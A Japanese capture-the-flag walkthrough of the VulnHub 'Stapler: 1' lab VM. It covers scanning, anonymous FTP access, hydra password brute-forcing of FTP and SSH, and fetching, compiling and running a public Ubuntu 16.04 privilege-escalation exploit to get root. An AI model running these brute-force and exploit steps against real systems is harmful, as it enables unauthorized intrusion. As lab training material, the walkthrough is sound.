【VulnHub】Stapler: 1 -Walkthrough-
はじめに
今回は以下のVM。
- VM:Stapler: 1
- Level:Beginner
- URL:https://www.vulnhub.com/entry/stapler-1%2C150/
環境構築は、以下を参考。
情報収集
ターゲットのIPアドレスの特定から。(攻撃側(kali linux)のIPアドレスは10.0.10.10)
#netdiscover -r 10.0.10.0/24
-r:スキャン範囲の指定。デフォルトでは、192.168.0.0/16。
続いてポートスキャン。
#nmap -sV -A -p- 10.0.10.13
- -sV:バージョンスキャン
- -A:詳細情報取得
- -p-:フルポートスキャン
21番(ftp)、22番(ssh)、53番(dns)、80番(http)、139番(netbios-ssn)、666番(doom)、3306番(mysql)、12380番(http)がopen。
21番の「Anonymous logon allowed」が気になるが、まずは80番から。ブラウザでアクセスしたが、404が返ってきた。
dirbでも何も見つからない。
#dirb http://10.0.10.13
気になっていた21番の調査を開始。kali linuxにはftpが入っていなかったので、インストール。
#apt-get install ftp
ポートスキャンの結果にある「Anonymous logon」とはユーザ登録を行っていないユーザでもAnonymous(匿名)でFTPサーバへファイルを送受信できるという物。ログインする際にはユーザ名に「anonumous」、パスワードは任意(空欄OK)。
※マナーではメールアドレスを入力するらしい。
パスワードは空欄OKなようなので、空欄でログインしてみる。
入れた。ファイルのリストを確認すると「note」というファイルがあった。ftpだとcatは使えない。noteをローカルに持ってくる。
ftp>get note
noteの中身は↓↓
Elly、Johnという名前が見つかるので、hydraでパスワードクラックするためにユーザリストを作成。パスワードは候補ないからhydraのオプションでなんとかする。
侵入
21番(ftp)に対してパスワードクラック。
#hydra -L user.lst -e nsr ftp://10.0.10.13
※-L:ユーザリストファイルの指定
※-e nsr:nは"null"で空欄を設定、sは"same"でユーザ名と同じパスワードを設定、rは"reverse"でユーザ名を逆転したパスワードを設定
ユーザ名「elly」、パスワード「ylle」を発見。オプションnsrでいうとrで発見できたということ。同じものを22番(ssh)に試したが、ヒットしなかった。
見つけたアカウントでftpへログインした。ファイルのリストに「passwd」を発見。
ローカルに落とす。
ftp>get passwd
passwdファイルの中身を確認すると、存在するユーザがわかる。
一番左の列のユーザ名のみを抽出し、ユーザリスト(user2.lst)を作成する。
#cat passwd | cut -f 1 --delim=":" passwd > user2.lst
user2.lstを使って、hydraでsshパスワードクラック。
#hydra -L user2.lst -e nsr -t 4 ssh://10.0.10.13
※-L:ユーザリストファイルの指定
※-e nsr:nは"null"で空欄を設定、sは"same"でユーザ名と同じパスワードを設定、rは"reverse"でユーザ名を逆転したパスワードを設定
※-t: タスク数の指定
ユーザ名「SHayslett」、パスワード「SHayslett」を発見。オプションnsrでいうとsで発見できたということ。発見したアカウントでsshにログインする。以下のコマンドで、カーネル、OSのバージョンを調査。
$uname -a
$cat /etc/issue(ホチキスが表示)
uname -aよりOSは分かったが、バージョンが/etc/issueからは分からなかったので、バージョンは以下で調べた。
$cat /etc/lsb-release
<参考>
OSのバージョンは以下で調べることができる。
RedHat系:cat /etc/redhat-release
Fedora系:cat /etc/fedora-release
Debian系:cat /etc/debian_version
Ubuntu系:cat /etc/lsb-release
権限昇格
Ubuntu16.04でexploit codeを探す。
#searchsploit Ubuntu16.04
どれか使えるのかを探すのが一番難しい。やみくもに上からやっていくのも嫌なので今回は以下の観点で選んだ。
とすると上の枠で囲んだものかなと。囲ったものをwgetで持ってくる。
#wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
攻撃側(Kali linux)をWebサーバとして、ターゲットからダウンロードさせるため、落としてきた39772.zipを「/var/www/html」へ配置。以下コマンドでApache2を起動する。
#systemctl start apache2.service
侵入したターゲット上から攻撃側(Kali linux)へアクセスし、39772.zipを持ってくる。(次回からはターゲットもインターネットにつなごうかな)
$wget http://10.0.10.10/39772.zip
zipを解凍し、tarファイルを解凍する。
$unzip 39772.zip
$tar -xvf exploit.tar
あとはコンパイルして、実行すると、rootになれた。
exploit codeの使い方は以下サイトの下のほうに画像付きで説明されていたので、迷うことなくいけた。
/rootフォルダに移動し、flagをゲット。